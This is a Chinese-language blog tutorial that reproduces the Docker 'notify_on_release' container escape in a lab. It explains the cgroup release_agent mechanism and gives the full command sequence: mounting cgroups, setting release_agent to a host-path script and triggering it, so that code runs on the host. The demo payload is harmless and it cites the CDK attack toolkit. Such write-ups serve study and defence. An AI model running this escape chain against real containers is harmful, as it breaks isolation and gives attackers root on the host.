首页 > 其他分享 >[docker逃逸] notify_on_release 逃逸

[docker逃逸] notify_on_release 逃逸

时间:2025-01-17 09:40:21浏览次数:1  
标签:tmp 宿主机 agent 逃逸 notify release docker

本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

1. 简介

Cgroups(Control Groups)是 Linux 内核的功能,用于限制、隔离和监控进程组的资源使用。每个 Cgroup 都有一个 release_agent 文件和一个 notify_on_release 文件:

  • release_agent:指定一个脚本或程序,当 Cgroup 中的最后一个进程退出时,该脚本会被执行。
  • notify_on_release:如果设置为 1,当 Cgroup 中的最后一个进程退出时,内核会触发 release_agent 中指定的脚本。

2. 逃逸原理

notify_on_release 逃逸的原理是利用 Cgroups 的 release_agent 机制。Cgroups 是 Linux 内核用于资源管理的功能,其中 release_agent 是一个脚本,当 Cgroup 中的最后一个进程退出时会被触发。攻击者可以在容器内挂载 Cgroups 文件系统,修改 notify_on_releaserelease_agent,将 release_agent 指向宿主机的某个脚本。当容器内的进程退出时,宿主机的脚本会被执行,从而实现容器逃逸,获得宿主机的权限。该漏洞的根本原因是容器内可以操作宿主机的 Cgroups 配置,导致容器内的行为能够影响宿主机。

此操作需要 CAP_SYS_ADMIN 权限,因此默认情况下 Docker 容器无法利用该漏洞,除非以特权模式运行或显式授予 CAP_SYS_ADMIN

环境配置

宿主机版本以及docker版本。

拉镜像

docker pull centos

特权模式启动

docker run -itd --privileged centos /bin/bash

或者授予CAP_SYS_ADMIN权限启动

docker run -it --cap-add=SYS_ADMIN centos /bin/bash

这里有可能是系统版本比较低的原因,不使用启动参数--security-opt apparmor=unconfined也能复现成功。

复现

  1. 在容器内挂载cgroups文件系统:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
  1. 创建子cgroup并设置notify_on_release,这个x的目录名可以自定义:
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
  1. 获取宿主机路径并设置release_agent
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. 在宿主机上创建恶意脚本:
echo '#!/bin/sh' > /cmd
echo 'echo "逃逸成功!" > /tmp/escape.txt' >> /cmd
chmod +x /cmd
  1. 在容器内启动一个进程并将其加入到子 Cgroup 中,然后退出该进程:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

当进程退出时,release_agent 会被触发,执行宿主机的 /cmd 脚本,从而实现逃逸。

  1. 验证逃逸:

在宿主机上检查 /tmp/escape.txt 文件是否存在

cat /tmp/escape.txt

使用CDK攻击

cdk-team/CDK:

标签:tmp,宿主机,agent,逃逸,notify,release,docker
From: https://www.cnblogs.com/CVE-Lemon/p/18674802

相关文章

  • [docker逃逸] Privileged 特权模式逃逸复现
    本文作者CVE-柠檬iCSDN:https://blog.csdn.net/weixin_49125123博客园:https://www.cnblogs.com/CVE-Lemon微信公众号:Lemon安全简述在Docker中,Privileged特权模式赋予容器几乎与宿主机相同的权限,允许其访问所有设备和内核功能。这种模式虽然提供了灵活性,但也带来了安全风险,......
  • Docker Shrink实战:AI驱动的Docker镜像优化工具
    引言在容器化应用主导的现代开发范式中,有效处理Docker容器是开发者和组织的主要关注点之一。随着项目规模的增长,我们经常会遇到Docker镜像体积过大的问题,这不仅增加了存储成本和构建时间,还可能在生产环境中引发其他问题。DockerShrink应运而生,它是一款利用AI技术来......
  • Ubuntu等各类Linux系统安装配置Docker详细教程(全网最详细,步骤简洁,看完包懂)
    文章目录前言详细步骤1.安装相关依赖2.安装阿里云的DockerGPG密钥3.设置stable仓库4.安装Docker5.启动服务6.验证测试常见问题及对应解决方案Ubuntu22.04配置Docker-速通版前言Docker是一个非常常用的工具,但是由于其涉及到的知识点较多,所以网上的教程大部分非......
  • docker containner挂掉,无法exec进入bash,如何修改文件的终极解决方法.210730
    场景:Nginx在bash里面配置的时候挂掉了,然后dockerstart不起来,execbash进不去,造成无法再改里面的文件了解决方法:1,dockerps–a可以查到所有docker,包括没有运行的,找到containnerID[root@hecs-29489~]#dockerps-aCONTAINERIDIMAGECOMMANDC......
  • Docker安装wikijs wiki系统.210818
    1.拉取mysql8的镜像并运行dockerpullmysqldockerrun-d-v/data/mysql/data:/var/lib/mysql-v/data/mysql/conf:/etc/mysql/conf.d--namemysql-eTZ=Asia/Shanghai-eMYSQL\_ROOT\_PASSWORD=1234-p3306:3306mysql:latest2.进入mysql,创建并修改权限docker......
  • docker 清理镜像
    docker清理镜像#技术积累/docker#如何在Docker中清理一切你可以清理一切,也可以清理Docker中的特定资源,如镜像、容器卷或构建缓存。要尽可能地清理,不包括正在使用的组件,请运行这个命令#-a包括未使用的和悬空的容器。不提供-a将只删除悬空的镜像,这些镜像是没有标记的镜像,......
  • Docker 安装 Jenkins-jdk17
    目录Jenkins安装拉取Jenkins镜像创建Jenkins工作目录创建容器将Jenkins端口添加到防火墙。配置镜像加速登录初始化Jenkins配置Jenkins配置JDK安装对应的插件MavenIntegration、DockerPipeline、dockerApI、docker、dockercommons配置对应的git和maven配置git......
  • Docker 安装 Jenkins
    Jenkins安装拉取Jenkins镜像dockerpulljenkinsci/blueoceandockerpulljenkinsci/blueocean:1.25.3创建Jenkins工作目录将容器内目录挂载到此目录上,这样我们可以在宿主机上对文件的修改同步到容器内。mkdir-p/mydata/jenkins/jenkins_homemkdir-p/mydata/jenk......
  • 用Python管理Docker容器:从`docker-py`到自动化部署的全面指南
    《PythonOpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门!解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界在现代软件开发和运维过程中,Docker容器化技术因其高效、轻量和可移植性而被广泛应用。Python作为一种灵活且功能强大的编程语言,通过docker-py......
  • 【Docker】Supervisor 实现单容器运行多服务进程
    本文内容均来自个人笔记并重新梳理,如有错误欢迎指正!如果对您有帮助,烦请点赞、关注、转发、订阅专栏!专栏订阅入口| 精选文章 | Kubernetes |Docker|Linux |羊毛资源 | 工具推荐 |往期精彩文章【Docker】(全网首发)KylinV10下MySQL容器内存占用异常的解决......